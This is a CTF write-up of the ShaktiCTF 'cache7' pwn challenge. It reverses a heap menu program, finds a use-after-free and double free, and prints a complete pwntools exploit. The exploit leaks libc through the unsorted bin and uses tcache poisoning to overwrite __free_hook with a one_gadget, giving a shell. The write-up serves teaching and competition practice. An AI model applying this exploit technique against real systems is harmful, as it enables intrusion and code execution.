f4d3

f4d3

InfoSec enthusiast | pwn | RE | CTF | BugBounty

ShaktiCTF{cache7}

Hi everyone!

This week we played on ShaktiCTF, very funny ctf, kudos to the organizers.

Now, I’ll cover an interesting pwn - heap challenge, that the main focus was on tcache.

Summary

The challenge give us the challenge and the respective libc, which is the ubuntu classic 2.27 (introduction of tcache). A 64-bit binary, FULL RELRO + canary + NX + ASLR.

root@eef19a26f206:/ctf/work# checksec  chall
[*] '/ctf/work/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
root@eef19a26f206:/ctf/work# 

By running it with the custom libc.

root@eef19a26f206:/ctf/work: LD_PRELOAD=./libc-2.27.so ./chall
1. add
2. view
3. delete
4. quit
choice :
1
enter the size
10
Enter data
as
1. add
2. view
3. delete
4. quit
choice :

We’re in front of a classic memory allocation CTF program, lets reverse it.

recon

From the ASM, we can see 3 options:

  • 1.- add
  • 2.- view
  • 3.- delete
  • 4.- exit

add()

It simply asks for a buf_size, then, create a chunk of the respective size and read(0, &buf, buf_size); to it. The chunk reference is saved on a bss pointer named ptr, our playing chunk will be the last one malloc'ed.

Note that we can only alloc chunks of size <= 0xff.

int64_t add()

0040087e  void* fsbase
0040087e  int64_t rax = *(fsbase + 0x28)
00400892  puts(str: "enter the size")
004008a8  int32_t buf_size
004008a8  __isoc99_scanf(format: "%d", &buf_size)
004008b0  if (buf_size s<= 0xff)
004008c4      *ptr = malloc(bytes: sx.q(buf_size))
004008d0      puts(str: "Enter data")
004008ea      read(fd: 0, buf: *ptr, nbytes: sx.q(buf_size))
004008f4  int64_t rax_10 = rax ^ *(fsbase + 0x28)
00400905  if (rax_10 == 0)
00400905      return rax_10
004008ff  __stack_chk_fail()
004008ff  noreturn

view()

Write the value inside of the bss pointer (previously written by malloc).

int64_t view()

0040090f  puts(str: "Printing the data inside")
00400925  return puts(str: *ptr)

delete()

Here, we have a classic UAF, since the pointer is not NULL'ed after being freed. This allows us to keep viewing it by using the view(); function. Also, we can keep freeing the same pointer over and over again… (this will come handy later).

int64_t delete()

0040092f  puts(str: "Deleting...")
00400945  return free(mem: *ptr)

Exploit

The first thing that we need to think is to make a libc leak, since ASLR is on.
To achieve it, we can abuse the UAF bug, but how we write a libc address to our chunk?.

Well, we first need to make one chunk-insertion to the unsorted bin, since the respective chunk->fd, will point to the respective bin entry.

To achieve that, first, we need to fill the entire tcache[idx=size] (we can achieve this by freeing multiples times (7 times) the same (target) chunk.

Things to consider:

  • To reach the unsorted_bin, we need to use some size outside the bounds of the respective fast_bins, if not, our chunk is gonna be placed into the fastbins instead of the unsorted bin.
  • The target chunk can’t be at the end of the heap, since we need to avoid the consolidation.

I’ll make the code self commented in order to understand :D

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'split-window', "-h"])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "./chall"  ## change for the challenge name
DEBUG = 1


if DEBUG:
    commands = '''b * 0x4008bf
    b * 0x40093e
    '''
    p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc-2.27.so"})
else:
    p = remote("34.121.211.139",4444)
    
    
'''
1. add
2. view
3. delete
4. quit
choice :

'''

def f():
    p.recvuntil(b"choice :")

def malloc_do(size, data):
    p.sendline(b'1')
    p.recvuntil(b'size')
    p.sendline(str(size))
    p.recvuntil(b'data')
    p.send_raw(data)
    f()


def free_do():
    p.sendline(b'3')
    f()

def view_do():
    p.sendline(b'2')
    p.recvuntil(b'inside\n')
    leak = p.recvline().strip()
    f()
    return leak

def quit_do():
    p.sendline(b'4')



yesno("Get a libc leak ?")

# Do one dummy malloc 

malloc_do(0x20, b'A')

# Do one big malloc and free it to grab it from the tcache[0xf1]
# This will be the chunk who will end up in the unsorted bin

malloc_do(0xe8, b'C' * 10)
free_do()

# Do another dummy malloc to prevent consolidation with border chunk
malloc_do(0x20, b'A')

# Grab the tcache saved chunk
malloc_do(0xe8, b'C' * 10)

# Fill the tcache by freeing multiples times the same chunk

for k in range(7):
    free_do()

# Write a libc arena leak on it by inserting it into the unsorted bin
free_do()

libc_leak = view_do()
libc_leak = libc_leak.ljust(8,b'\x00')
libc_leak = u64(libc_leak)



libc_base = libc_leak - 0x3ebca0
free_hook = libc_base + 0x3ed8e8
one_shot  = libc_base + 0x4f3c2
log.info("Libc leak:        %s "    %   hex(libc_leak) )
log.info("Libc base:        %s "    %   hex(libc_base) )
log.info("free hook:        %s "    %   hex(free_hook) )
log.info("one shot :        %s "    %   hex(one_shot) )


# Now that we have a leak, we need to get a pointer to near &__free_hook
yesno("Continue?")

The heap layout before the unsorted bin insertion (Having the tcache[idx=0xf0] filled) is the following:

Just after the unsorted bin insertion.

Now, by viewing the respective chunk, we can get the victim->fd pointer, that will point to the unsorted bin entry, which is in the main arena

[DEBUG] Received 0x2a bytes:
    b'1. add\n'
    b'2. view\n'
    b'3. delete\n'
    b'4. quit\n'
    b'choice :\n'
[*] Switching to interactive mode

$ 2
[DEBUG] Sent 0x2 bytes:
    b'2\n'
[DEBUG] Received 0x4a bytes:
    00000000  50 72 69 6e  74 69 6e 67  20 74 68 65  20 64 61 74  │Prin│ting│ the│ dat│
    00000010  61 20 69 6e  73 69 64 65  0a a0 7c 19  8d 98 7f 0a  │a in│side│··|·│····│
    00000020  31 2e 20 61  64 64 0a 32  2e 20 76 69  65 77 0a 33  │1. a│dd·2│. vi│ew·3│
    00000030  2e 20 64 65  6c 65 74 65  0a 34 2e 20  71 75 69 74  │. de│lete│·4. │quit│
    00000040  0a 63 68 6f  69 63 65 20  3a 0a                     │·cho│ice │:·│
    0000004a
Printing the data inside
\xa0|\x19\x98\x7f
1. add
2. view
3. delete
4. quit
choice :
$  

Now that we have a libc leak, we can do a tcache attack, in order to make malloc, return an arbitrary pointer, I’ll overwrite the __free_hook with the address of a one_gadget.

A nice article and study material to heap challenges is the nightmare guide, kudos to @guyinatuxedo

The main idea behind a tcache attack is the following (basic idea):

  • Get a chunk written into the tcache[idx=size] twice.
  • Allocate one time (so, we have one reference to the chunk that is written on the tcache[idx=size] too).
  • Overwrite the victim->fd pointer of the chunk with an arbitrary address. Note that the address is the same as the tcache[idx=size].
  • On the next allocation, malloc will return the HEAD (victim) of the tcache[idx=size] and malloc (important part) will make tcache[idx=size]->HEAD = victim->fd.
  • Since we overwrite the victim->fd pointer, the tcache[idx=size] new head, will be our custom address !
  • On the next allocation, malloc will give us an arbitrary pointer.

Our full exploit, will be the following, I’ll let it self commented in order to understand it. For any doubt, just ping me :D !

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'split-window', "-h"])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "./chall"  ## change for the challenge name
DEBUG = 1


if DEBUG:
    commands = '''b * 0x4008bf
    b * 0x40093e
    '''
    p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc-2.27.so"})
else:
    p = remote("34.121.211.139",4444)
    
    
'''
1. add
2. view
3. delete
4. quit
choice :

'''

def f():
    p.recvuntil(b"choice :")

def malloc_do(size, data):
    p.sendline(b'1')
    p.recvuntil(b'size')
    p.sendline(str(size))
    p.recvuntil(b'data')
    p.send_raw(data)
    f()


def free_do():
    p.sendline(b'3')
    f()

def view_do():
    p.sendline(b'2')
    p.recvuntil(b'inside\n')
    leak = p.recvline().strip()
    f()
    return leak

def quit_do():
    p.sendline(b'4')



yesno("Get a libc leak ?")

# Do one dummy malloc 

malloc_do(0x20, b'A')

# Do one big malloc to grab it from the tcache[0xf1]
# This will be the chunk who will end up in the unsorted bin

malloc_do(0xe8, b'C' * 10)
free_do()

# Do another dummy malloc to prevent consolidation with border chunk
malloc_do(0x20, b'A')

# Grab the tcache saved chunk
malloc_do(0xe8, b'C' * 10)

# Fill the tcache by freeing multiples times the same chunk

for k in range(7):
    free_do()

# Write a libc arena leak on it by inserting it into the unsorted bin
free_do()

libc_leak = view_do()
libc_leak = libc_leak.ljust(8,b'\x00')
libc_leak = u64(libc_leak)



libc_base = libc_leak - 0x3ebca0
free_hook = libc_base + 0x3ed8e8
one_shot  = libc_base + 0x4f3c2
log.info("Libc leak:        %s "    %   hex(libc_leak) )
log.info("Libc base:        %s "    %   hex(libc_base) )
log.info("free hook:        %s "    %   hex(free_hook) )
log.info("one shot :        %s "    %   hex(one_shot) )


# Now that we have a leak, we need to get a pointer to near &__free_hook
# For that, we will use the UAF bug
yesno("Continue?")

# Alloc one and free it to place in tcache

# Alloc and overwrite it
malloc_do(0x18, b'DEADBEEF')
# Free it twice
free_do()
free_do()
# Malloc and overwrite the victim->fd pointer
malloc_do(0x18, p64(free_hook))

# Do a dummy malloc to make our free_hook as the top of tcache[idx=size]
malloc_do(0x18, b'f')

# Now, our payload is at the top of the tcache
# Overwrite the free_hook with the one_gadget
malloc_do(0x18,p64(one_shot))



# Do a free to trigger __free_hook()
p.sendline(b'3')


p.interactive()

Just like that, we pop a shell.

Hope that this helps, if there’s any doubt, just ping me,

thanks again for the CTF.

cheers!

kjj